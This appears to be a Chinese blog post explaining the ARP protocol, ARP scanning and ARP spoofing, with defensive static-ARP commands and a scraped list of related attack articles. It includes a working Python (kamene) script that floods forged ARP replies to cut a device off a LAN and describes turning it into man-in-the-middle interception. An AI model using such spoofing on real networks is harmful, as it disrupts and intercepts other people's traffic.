概述

高中的时候,学校有一个商店,会放开WIFI给偷偷带手机去学校的我们使用,但是因为人很多的关系,导致每次去下载东西都很慢

那时候,通过百度,知道了WIFI KILLER 这样一款软件,可以让别人上不了网,不过随着各大厂商对系统的升级之后,这个软件就失效了,尤其是这个软件需要root权限,这个在现在多数手机来说已经不可能了。

需要权限的原因就是需要发送原始套接字,但是这个套接字如果交给用户来发的话,太危险了,很容易扰乱底层的协议规则,这就导致必须要一定权限才能发送原始套接字(Windows好像不用)

ARP协议

IP转MAC

参考: https://www.freebuf.com/articles/network/210852.html

ARP 协议是用来从从IP地址查询MAC地址的,所以,一次数据传输可能有这样一个ARP沟通过程

比如,这里我用我笔记本(192.168.2.2) Ping了一下我的手机(192.168.2.5) ,那么数据包就需要知道被发送到那个MAC地址,

  • 我的电脑大声问(广播): 谁是 192.168.2.5?请告诉 192.168.2.2
  • 然后我的手机看到了,就回复我的电脑: 192.168.2.5就是20:f4:78:e6:36:41

然后接下来,数据包就可以发送大MAC地址是20:f4:78:e6:36:41的网卡上了

今天我才发现,我平时高冷的不得了的磊科NW737其实和他的小伙伴们沟通的热火朝天~~
____底层协议居然如此热闹

结构

来自 wiki 百科

ARP扫描

通过wireShark可以发现,如果我想知道这个局域网中有多少主机,或者想要局域网中所有主机的列表,那么我完全可以发送ARP请求包,对每个IP都询问一下MAC地址,有回应的,就是存活的主机。

这个方法比Ping扫描要稳一点,因为开了防火墙之后,很多电脑是不响应Ping包的

开始欺骗

只要了解了ARP之后,就会发现有空子可以钻,也就是说,当有主机在局域网广播询问MAC地址的时候,直接发送一个错误的响应就好了

甚至,不需要他询问,直接发送响应包即可

  • 代码
from kamene.all import *

eth = Ether()
arp = ARP(
op="is-at",
hwsrc = "22:22:22:22:22:22",
psrc = "192.168.2.1",
hwdst="20:F4:78:E6:36:41",
pdst="192.168.2.7"
)
print((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)

这里构造了一个ARP数据包

运行之后可以看到,

  • 首先我的电脑会发送一个广播,询问,谁是192.168.2.7?请告诉192.168.2.2
  • 这时候,我的时候回192.168.2.7就是 20:F4:78:E6:36:41
  • 其实以上步骤不存在都行的,主要是下面部分
  • 在确定了2.7的MAC地址之后,大声的吼: 192.168.2.1的MAC地址是22:22:22:22:22:22
  • 2.7不管,直接接受了这个说法,之后所有的请求都发到了 22:22:22:22:22:22,那当然不会有响应的

中间人

如果把上面的 22:22:22:22:22:22修改成我笔记本的MAC地址,那么我的电脑就会收到如下大量的包

如果我用手机此时打开一个网页 例如 39.106.164.33

那么就能看到,数据包发给了我的电脑,目的MAC是我的电脑,但是因为我的电脑没有对数据包进行相关处理,结果就导致连接失败等等问题

如果,我们能对这些包做出响应,那么就成了名副其实的中间人啦~

其他

ARP老化

ARP表的老化时间

​ 不同的系统对ARP表的老化时间设定不太一样,在Windows2000/XP环境中,ARP表项的老化时间是2分钟,95/98以及NT环境下为10分钟,在大部分Cisco交换机中,该值是5分钟,华为的设备一般为20分钟……这些值可以通过系统注册表或设备的某些命令进行设置,具体设置的命令和参数请自行参考相关文档。

ARP表老化时间定时器的重置

​ 满足以下任一条件时,设备的ARP表项的老化时间定时器会重置:

1,设备相应的ARP表项更新时;

2.,设备调用(引用)ARP表项转发数据后。

来源: http://www.vants.org/?post=120

防御

windows

管理员身份运行

netsh -c "i i" add neighbors 16 "192.168.2.1" "08-10-79-5f-98-e9"

16 是通过 arp -a命令得到的接口号(下图 0x10 十进制是16),192.168.2.1是IP地址,后面是mac

具体参考: https://blog.csdn.net/weixin_42551781/article/details/88368031

linux

root权限运行

arp -s 192.168.2.1 08-10-79-5f-98-e9

具体参考: https://blog.csdn.net/qq_29663071/article/details/53508319

准备开个新坑,用C++把当年手机上的wifi killer 实现出来,虽然已经有P2P终结者一类的软件了,但是拿来练习STL还是可以的

Python实现ARP攻击的更多相关文章

  1. python 实现ARP攻击

    注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 #coding:utf-8 #example :sudo python ar ...

  2. Python scapy 实现一个简易 arp 攻击脚本

    原文链接:http://www.jianshu.com/p/df5918069612 scapy 是 python 写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常 ...

  3. 关于linux上实现arp攻击截取密码

    前言 这几天简单的研究了一下arp攻击,有一些进展,记录一下 环境准备 这里我是利用arpspoof 这个软件简单实现arp攻击,这个命令是属于dsniff 软件包中的 所以首先安装软件 sudo a ...

  4. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  5. 转载《遭受arp攻击怎么办》

    ARP(Address Resolution Protocol,地址解析协议)协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行.ARP攻击仅能在以太网(局 域网如: ...

  6. Arp攻击实战

    hyddd原创,转载请说明出处. 现在网上很多关于ARP攻击的文章,但多数是描述其原理,少数会以某个工具作为例子展开说明,但感觉说的还是不够详细,今天写个文章以实战介绍一个叫"WinArpA ...

  7. 记一次 Ubuntu 使用 arptables 抵御局域网 ARP 攻击

    . . . . . 前段时间大概有一个月左右,租房的网络每天都断一次,每次断大概一两分钟左右就恢复了,所以没太在意.直到有一天晚上,LZ 正在写博客,但是网络频繁中断又重新连上再中断.待 LZ 好不容 ...

  8. 关于ARP攻击的原理以及在Kali Linux环境下的实现

    关于ARP攻击的原理以及在Kali Linux环境下的实现 全文摘要 本文讲述内容分为两部分,前半部分讲述ARP协议及ARP攻击原理,后半部分讲述在Kali Linux环境下如何实现ARP攻击以及AR ...

  9. Windows 2008如何绑定MAC防范ARP攻击!

    Windows 2008如何绑定MAC防范ARP攻击!   阅读(1974)暂无评论时间:2010-11-23 22:52:13   在Windows server 2003时代,通过arp 这命令即 ...

  10. Kali实现局域网ARP欺骗和ARP攻击

    原文地址: http://netsecurity.51cto.com/art/201303/386031.htm http://xiao106347.blog.163.com/blog/static/ ...

随机推荐

  1. 可持久化非确定状态AC自动分块维护线段平衡仙人掌优化最小费用最大流预处理混合图上莫比乌斯反演莫队带花舞蹈链并查集树状数组套主席树预处理动态DP分治FFT求多项式逆元对数函数的指数函数用可持久化并查集合并最小费用循环流上插头DP

    P8946 - The Lost Symbol 这种类型的 dp 的特点就是大部分转移形如 \(f(i,j)\rightarrow f(i+1,j+1)\) 之类的,并且当以上转移出现时原数组被清空, ...

  2. 【JS 逆向百例】浏览器插件 Hook 实战,亚航加密参数分析

    关注微信公众号:K哥爬虫,QQ交流群:808574309,持续分享爬虫进阶.JS/安卓逆向等技术干货! 声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途 ...

  3. # 再次推荐github 6.7k star开源IM项目OpenIM性能测试及消息可靠性测试报告

    本报告主要分为两部分,性能测试和消息可靠性测试.前者主要关注吞吐,延时,同时在线用户等,即通常所说的性能指标.后者主要模拟真实环境(比如离线,在线,弱网)消息通道的可靠性. 先说结论,对于容量和性能: ...

  4. 批量修改SVN的用户名和密码的尝试

    起源 公司规定每6个月需要修改一次密码,否则每天都有邮件和内网提醒.因为邮箱密码和svn等一系列应用绑定,避免每次修改密码后需要手工输入修改多个svn仓库的帐号和密码. PS.同一个前缀的svn不用重 ...

  5. CE修改器入门:运用代码注入

    从本关开始,各位会初步接触到CE的反汇编功能,这也是CE最强大的功能之一.在第6关的时候我们说到指针的找法,用基址定位动态地址.但这一关不用指针也可以进行修改,即使对方是动态地址,且功能更加强大. 代 ...

  6. SpringBoot分布式任务中间件开发 附视频讲解 (手把手教你开发和使用中间件)

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 分布式任务DcsSchedule中间件,Github地址:https://github.com ...

  7. Windows 10 ISO原版镜像文件下载(2024年01月)

    Windows 10 (business editions), version 22H2 (x64) - DVD (Chinese-Simplified) 链接:https://pan.baidu.c ...

  8. 模式识别实验:基于主成分分析(PCA)的人脸识别

    前言 本文使用Python实现了PCA算法,并使用ORL人脸数据集进行了测试并输出特征脸,简单实现了人脸识别的功能. 1. 准备 ORL人脸数据集共包含40个不同人的400张图像,是在1992年4月至 ...

  9. 聚石塔的K8s 容器服务使用注意事项,坑的总结

    1. 首先聚石塔是不能使用 8080 端口的,会审核不通过. 2.然而,容器服务默认的却是8080,最彻底的解决方法就是修改成80,注意3个地方: 以上3个地方要严重留意,缺一不可,已经踩了2次坑了, ...

  10. Linux shell 判断变量是否包含某个字符串的几种方法

    方法一:利用grep查找 strA="long string" strB="string" result=$(echo $strA | grep "$ ...